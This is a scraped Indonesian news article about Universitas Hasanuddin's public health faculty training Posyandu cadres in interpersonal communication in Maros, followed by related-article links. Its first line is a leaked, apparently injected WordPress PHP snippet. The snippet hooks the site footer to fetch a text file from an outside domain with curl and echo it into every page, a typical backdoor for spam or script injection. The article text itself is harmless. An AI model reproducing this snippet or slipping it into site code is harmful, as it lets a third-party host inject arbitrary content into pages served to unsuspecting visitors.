function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');Departemen PKIP FKM Unhas Latih KAP Kader Posyandu untuk Dukung Agenda SDGs - Suluh Nusantara

Home / Uncategorized

Sabtu, 2 November 2024 - 20:59 WIB

Departemen PKIP FKM Unhas Latih KAP Kader Posyandu untuk Dukung Agenda SDGs

Memeriahkan Dies Natalis 42 Fakultas Kesehatan Masyarakat Universitas Hasanuddin (FKM Unhas), Departemen Promosi Kesehatan dan Ilmu Perilaku (PKIP) menggelar kegiatan pengabdian masyarakat bertema “Training of Communicators Komunikasi Antarpribadi Bagi Kader Posyandu”. Kegiatan ini dilaksanakan di Kantor Kelurahan Pallantikang, Kecamatan Maros Baru, Kabupaten Maros, Sabtu, 2 November 2024.

Pelatihan Komunikasi Antarpribadi (KAP) ini di bawah koordinasi dosen Muhammad Rachmat, SKM, MKes; Dr. Ridwan M. Thaha, MSc; Sudirman Nasir, PhD, dan Dr. Indra Fajarwati Ibnu, SKM, MKes dengan melibatkan mahasiswa Departemen PKIP angkatan 2022 serta mahasiswa PKKM asal Universitas Negeri Surabaya. Kegiatan ini juga dihadiri oleh Lurah Pallantikang Faisal, S.Ag., Nurul Muthmainnah, SKM, MKes dari Dinas Kesehatan Kabupaten Maros, dan Bidan Nurlina, S.ST dari Puskesmas Maros Baru.

Kader Posyandu memiliki peran penting dalam meningkatkan kesehatan masyarakat. Mereka adalah garda terdepan dalam memberikan informasi dan pelayanan kesehatan dasar, termasuk pemantauan tumbuh kembang anak, kesehatan ibu hamil, dan pencegahan penyakit. Dengan keterampilan komunikasi yang baik, kader dapat lebih efektif dalam menjangkau dan mendidik masyarakat mengenai isu-isu kesehatan.

Baca Juga  Prodi Ilmu Gizi FKM Unhas Bekerja Sama dengan Toyo Food Japan Gelar Uji Coba Menu Makan Bergizi untuk Anak Sekolah

Bertindak sebagai fasilitator adalah Muhammad Rachmat, SKM, MKes yang juga merupakan anggota Forum Pelatih KAP RCCE+. Materi pelatihan membahas berbagai teknik dasar komunikasi antar pribadi. Peserta diajarkan kemudian mempraktikkan cara membangun keakraban, pentingnya saling mendengar dan berbicara, serta kunci komitmen. Diskusi kelompok kecil digunakan agar kader mendapatkan pengalaman langsung dalam menerapkan teknik komunikasi yang efektif. Peserta juga dibekali lagu dan senandung yang dapat digunakan sebagai metode edukasi kelompok.

Antusiasme peserta terlihat jelas dalam kegiatan ini. Peserta aktif berpartisipasi, mengajukan pertanyaan, dan berbagi pengalaman mereka. Salah satu peserta, Mariyana, mengungkapkan rasa syukurnya atas diadakannya pelatihan ini.

“Kami sangat berterima kasih dengan adanya pelatihan komunikasi ini, karena kami bisa mendapatkan keterampilan tentang cara berkomunikasi yang baik yang dapat kami terapkan di masyarakat, khususnya ketika pelayanan di Posyandu,” ujar Mariyana.

Kegiatan ini sejalan dengan agenda Sustainable Development Goals (SDGs) ke-3 yang berfokus pada kesehatan dan kesejahteraan, serta SDGs ke-5 yang menekankan kesetaraan gender. Pelatihan ini tidak hanya bertujuan untuk meningkatkan keterampilan kader sebagai agen perubahan, tetapi juga untuk memberdayakan perempuan dalam peran mereka di bidang kesehatan. Kader yang terlatih diharapkan dapat mempromosikan kesehatan dengan lebih efektif, khususnya di kalangan perempuan dan anak-anak.

Baca Juga  PBL I di Desa Rompegading, Kecamatan Liliriaja, Kabupaten Soppeng : Mahasiswa FKM Unhas Memulai Langkah Belajarnya Bersama Masyarakat

“Kami mengucapkan terima kasih yang tulus kepada Pemerintah Kabupaten Maros yang telah memfasilitasi kegiatan ini melalui Dinas Kesehatan Kabupaten Maros dan Puskesmas Maros Baru. Kegiatan ini juga terwujud atas dukungan Portal Kesehatan Masyarakat dan UNICEF Indonesia. Semoga kolaborasi seperti ini dapat terus berlanjut,” harap Muhammad Rachmat yang juga Koordinator Divisi Pengabdian Masyarakat Dies Natalis 42 FKM Unhas.

Kader Posyandu yang telah mengikuti pelatihan ini diharapkan menerapkan keterampilan yang telah diperoleh dalam interaksi sehari-hari dengan masyarakat. Menerapkan teknik-teknik KAP diharapkan akan membawa dampak positif bagi meningkatnya kesadaran masyarakat akan kesehatan khususnya terkait kesehatan ibu dan anak dengan melakukan kunjungan posyandu dan imunisasi bagi anak.

Share :

Baca Juga

Uncategorized

Generasi Cerdas, Masa Depan Berkualitas: Orang Tua di Kelurahan Tonrokassi Barat Dibekali Pemahaman Terkait Pernikahan Dini

Uncategorized

FKM Unhas Gelar Yudisium dan Ramah Tamah Pelepasan Alumni Periode Mei 2025

Uncategorized

Pengalaman Laboratorium Mahasiswa FKM UNHAS di UPM: Analisis Kesehatan Lingkungan dan Kualitas Pangan Berbasis SDGs

Uncategorized

Mahasiswa PBL II FKM UNHAS Posko 16 Cegah Stunting dengan Upaya Pemberian Pengetahuan secara Sosialisasi pada Masyarakat Desa Kalimporo

Uncategorized

Pelaksanaan Kegiatan Seminar Awal Posko 19 PBL II FKM UNHAS Sebagai Langkah Awal Memperkenalkan Rencana Intervensi Berbasis Masalah di Desa Gunung Silanu

Uncategorized

Inisiasi Kolaborasi dengan FKM Unhas dengan GSPH SNU: Perkuat Kerja Sama Internasional dalam Bidang Kesehatan Masyarakat

Uncategorized

Posko 26 PBL I FKM Unhas Gelar Seminar Awal Bersama Masyarakat Desa Panincong, Kec. Marioriawa

Uncategorized

Mahasiswa FKM Universitas Hasanuddin Ikut BERSINAR (Bersih Narkoba) Bersama BNNP Sulawesi Selatan